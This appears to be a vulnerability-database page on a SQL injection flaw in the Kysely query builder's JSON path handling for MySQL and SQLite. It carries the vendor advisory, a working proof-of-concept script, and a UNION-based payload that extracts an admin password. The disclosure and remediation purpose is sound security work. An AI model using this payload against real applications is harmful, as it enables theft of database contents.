PostgreSQL
CVE-2026-32763
HIGH
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessCraft malicious JSON path with unescaped single quote
-
ExploitBreak out of JSON path string literal
-
ExecutionInject arbitrary SQL into query
-
ImpactExecute unauthorized database operations
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Parameterized queries, prepared statements
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Persistence The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Remote unauthenticated attacker can exploit Kysely library versions through 0.28.11 when application uses |
| Impact | The CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N) indicates a network-exploitable vulnerability with low attack complexity requiring no privileges or user interaction, resulting in high confidentiality impact and low integrity impact. Real-world risk is elevated because the vulnerability affects a common development pattern where JSON column field names are dynamically selected based on user input (API query parameters, GraphQL resolvers, admin panels). The provided end-to-end proof-of-concept against better-sqlite3 demonstrates trivial exploitation enabling UNION-based attacks to exfiltrate data from arbitrary tables. However, risk is somewhat mitigated by the requirement that applications must be using the specific MySQL or SQLite dialects with dynamic JSON path construction based on untrusted input, and that PostgreSQL users are completely unaffected. The availability of patches in version 0.28.12 and the absence of KEV listing suggests no widespread active exploitation yet. Organizations using Kysely with MySQL or SQLite in applications that expose JSON field selection to users should prioritize remediation immediately. |
| Exploit ScenarioDerived | An attacker targets a web application API endpoint that allows filtering products by JSON metadata fields, where the field name comes from a query parameter. By crafting a malicious field parameter containing a payload like "city' as "city" from "users" UNION SELECT password FROM admin --", the attacker breaks out of the JSON path string context and injects a UNION query to exfiltrate sensitive data such as administrator credentials from unrelated database tables. The proof-of-concept demonstrates this attack successfully extracting passwords from an admin table in SQLite, and the low attack complexity (CVSS AC:L) with no authentication required (PR:N) makes this readily exploitable in real-world scenarios where applications expose JSON field selection to users. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 18, 2026
Kysely through version 0.28.11 contains a SQL injection vulnerability in JSON path compilation affecting MySQL and SQLite dialects. The visitJSONPathLeg() function appends user-controlled values from .key() and .at() methods directly into single-quoted JSON path string literals without escaping single quotes, enabling attackers to break out of the string context and inject arbitrary SQL. A working proof-of-concept demonstrates UNION-based data exfiltration from SQLite databases. The vulnerability has CVSS score 8.2 and patches are available from the vendor.
RemediationAI
Upgrade Kysely to version 0.28.12 or later which includes the fix available at https://github.com/kysely-org/kysely/commit/0a602bff2f442f6c26d5e047ca8f8715179f6d24. See the vendor advisory at https://github.com/kysely-org/kysely/security/advisories/GHSA-wmrf-hv6w-mr66 for complete details. If immediate upgrading is not possible, implement strict input validation on any user-controlled values passed to .key() or .at() methods when building JSON path queries for MySQL or SQLite, allowing only alphanumeric characters and underscores. Alternatively, switch to PostgreSQL dialect if feasible, as it is not affected by this vulnerability. Review application code for patterns where query parameters or other untrusted input sources are used to construct JSON path selectors and prioritize those areas for patching or additional validation.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in npm
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Kysely (pkg:npm/kysely) is a type-safe TypeScript SQL query builder for Node.js supporting multiple database dialects. This vulnerability represents CWE-89 (SQL Injection) occurring in the query compiler's JSON path handling. The MySQL and SQLite operators (->$ and ->>$) produce JSONPathNode objects that are processed by visitJSONPath() and visitJSONPathLeg() methods, which concatenate user-supplied key values directly into single-quoted JSON path strings ('$.key') without sanitization. PostgreSQL dialect is not affected because its operators (-> and ->>) produce JSONOperatorChainNode objects that flow through ValueNode.createImmediate() and ultimately invoke sanitizeStringLiteral(), which properly doubles single quotes. The vulnerability exists because JSON path keys are non-parameterizable SQL constructs requiring manual escaping similar to identifiers, but while the sanitizeIdentifier() function properly doubles delimiter characters, visitJSONPathLeg() performs no such escaping.
Know when PostgreSQL gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
Lifecycle Timeline
2DescriptionGitHub Advisory
Summary
Kysely through 0.28.11 has a SQL injection vulnerability in JSON path compilation for MySQL and SQLite dialects. The visitJSONPathLeg() function appends user-controlled values from .key() and .at() directly into single-quoted JSON path string literals ('$.key') without escaping single quotes. An attacker can break out of the JSON path string context and inject arbitrary SQL.
This is inconsistent with sanitizeIdentifier(), which properly doubles delimiter characters for identifiers - both are non-parameterizable SQL constructs requiring manual escaping, but only identifiers are protected.
Details
visitJSONPath() wraps JSON path in single quotes ('$...'), and visitJSONPathLeg() appends each key/index value via this.append(String(node.value)) with no sanitization:
// dist/cjs/query-compiler/default-query-compiler.js
visitJSONPath(node) {
if (node.inOperator) {
this.visitNode(node.inOperator);
}
this.append("'$");
for (const pathLeg of node.pathLegs) {
this.visitNode(pathLeg); // Each leg appended without escaping
}
this.append("'");
}
visitJSONPathLeg(node) {
const isArrayLocation = node.type === 'ArrayLocation';
this.append(isArrayLocation ? '[' : '.');
this.append(String(node.value)); // <-- NO single quote escaping
if (isArrayLocation) {
this.append(']');
}
}Contrast with sanitizeIdentifier() in the same file, which properly doubles delimiter characters:
sanitizeIdentifier(identifier) {
const leftWrap = this.getLeftIdentifierWrapper();
const rightWrap = this.getRightIdentifierWrapper();
let sanitized = '';
for (const c of identifier) {
sanitized += c;
if (c === leftWrap) { sanitized += leftWrap; }
else if (c === rightWrap) { sanitized += rightWrap; }
}
return sanitized;
}Both identifiers and JSON path keys are non-parameterizable SQL constructs that require manual escaping. Identifiers are protected; JSON path values are not.
PostgreSQL is not affected. The branching happens in JSONPathBuilder.#createBuilderWithPathLeg() (json-path-builder.js):
- MySQL/SQLite operators (
->$,->>$) produce aJSONPathNodetraversal →visitJSONPathLeg()concatenates the key directly into a single-quoted JSON path string ('$.key') - vulnerable, no escaping. - PostgreSQL operators (
->,->>) produce aJSONOperatorChainNodetraversal →ValueNode.createImmediate(value)→appendImmediateValue()→appendStringLiteral()→sanitizeStringLiteral()doubles single quotes ('→''), generating chained operators ("col"->>'city'). Injection payload becomes a harmless string literal.
Same .key() call, different internal node creation depending on the operator type. The PostgreSQL path reuses the existing string literal sanitization; the MySQL/SQLite JSON path construction bypasses it entirely.
PoC
End-to-end proof against a real SQLite database (Kysely 0.28.11 + better-sqlite3):
const Database = require('better-sqlite3');
const { Kysely, SqliteDialect } = require('kysely');
const sqliteDb = new Database(':memory:');
sqliteDb.exec(`
CREATE TABLE users (id INTEGER PRIMARY KEY, name TEXT, profile TEXT);
INSERT INTO users VALUES (1, 'alice', '{"city": "Seoul", "age": 30}');
INSERT INTO users VALUES (2, 'bob', '{"city": "Tokyo", "age": 25}');
CREATE TABLE admin (id INTEGER PRIMARY KEY, password TEXT);
INSERT INTO admin VALUES (1, 'SUPER_SECRET_PASSWORD_123');
`);
const db = new Kysely({ dialect: new SqliteDialect({ database: sqliteDb }) });
async function main() {
// Safe usage
const safe = await db
.selectFrom('users')
.select(eb => eb.ref('profile', '->>$').key('city').as('city'))
.execute();
console.log("Safe:", safe);
// [ { city: 'Seoul' }, { city: 'Tokyo' } ]
// Injection via .key() - exfiltrate admin password
const malicious = `city' as "city" from "users" UNION SELECT password FROM admin -- `;
const attack = await db
.selectFrom('users')
.select(eb => eb.ref('profile', '->>$').key(malicious).as('city'))
.execute();
console.log("Injected:", attack);
// [ { city: 'SUPER_SECRET_PASSWORD_123' }, { city: 'Seoul' }, { city: 'Tokyo' } ]
}
main();The payload includes as "city" from "users" to complete the first SELECT before the UNION. The -- comments out the trailing ' as "city" from "users" appended by Kysely.
Generated SQL:
select "profile"->>'$.city' as "city" from "users" UNION SELECT password FROM admin -- ' as "city" from "users"Realistic application pattern
app.get('/api/products', async (req, res) => {
const field = req.query.field || 'name';
const products = await db
.selectFrom('products')
.select(eb => eb.ref('metadata', '->>$').key(field).as('value'))
.execute();
res.json(products);
});Dynamic JSON field selection is a common pattern in search APIs, GraphQL resolvers, and admin panels that expose JSON column data.
Suggested fix
Escape single quotes in JSON path values within visitJSONPathLeg(), similar to how sanitizeIdentifier() doubles delimiter characters. Alternatively, validate that JSON path keys contain only safe characters. The direction of the fix is left to the maintainers.
Impact
SQL Injection (CWE-89) - An attacker can inject arbitrary SQL via crafted JSON key names passed to .key() or .at(), enabling UNION-based data exfiltration from any database table. MySQL and SQLite dialects are affected. PostgreSQL is not affected.
Executive ViewAI
Kysely versions through 0.28.11 contain a SQL injection vulnerability that could allow attackers to extract sensitive database information from applications using this library with MySQL or SQLite backends. Any organization using affected Kysely versions in production applications should prioritize patching to prevent potential data breaches.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
SQL injection exploits the way applications construct database queries by mixing user input directly into SQL statements.
Affected Products (CPE)GitHub Advisory
Related Vulnerabilities in ClickHouse SQL Injection Validation
View all 2More in PostgreSQL
View allPostgreSQL libpq functions PQescapeLiteral(), PQescapeIdentifier(), PQescapeString(), and PQescapeStringConn() improperl
An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl
Argument injection vulnerability in PostgreSQL 9.2.x before 9.2.4, 9.1.x before 9.1.9, and 9.0.x before 9.0.13 allows re
Unauthenticated arbitrary file write in Splunk Enterprise (below 10.2.4 and 10.0.7) and Splunk Cloud Platform (below 10.
Unauthenticated SQL injection in Sangoma Switchvox SMB Edition 8.3 (build 104997) lets remote attackers execute arbitrar
PostgreSQL versions before 9.2.22, 9.3.18, 9.4.13, 9.5.8 and 9.6.4 are vulnerable to incorrect authentication flaw allow
The build_tablename function in pgsql.c in the PostgreSQL (aka pgsql) extension in PHP through 5.6.7 does not validate t
A vulnerability in the h2oai/h2o-3 REST API versions 3.46.0.4 allows unauthenticated remote attackers to execute arbitra
In PostgreSQL 9.3 through 11.2, the "COPY TO/FROM PROGRAM" function allows superusers and users in the 'pg_execute_serve
Unauthenticated SQL injection in Vendure Shop API allows remote attackers to execute arbitrary SQL commands against the
Parse Server is an open source http web server backend. Rated critical severity (CVSS 10.0), this vulnerability is remot
Hard-coded default PostgreSQL credentials shipped in the docker-compose.yaml of langgenius Dify through version 1.5.1 al
GHSA-wmrf-hv6w-mr66
NVD
CVE.org
EPSS
VulDB
Exploit-DB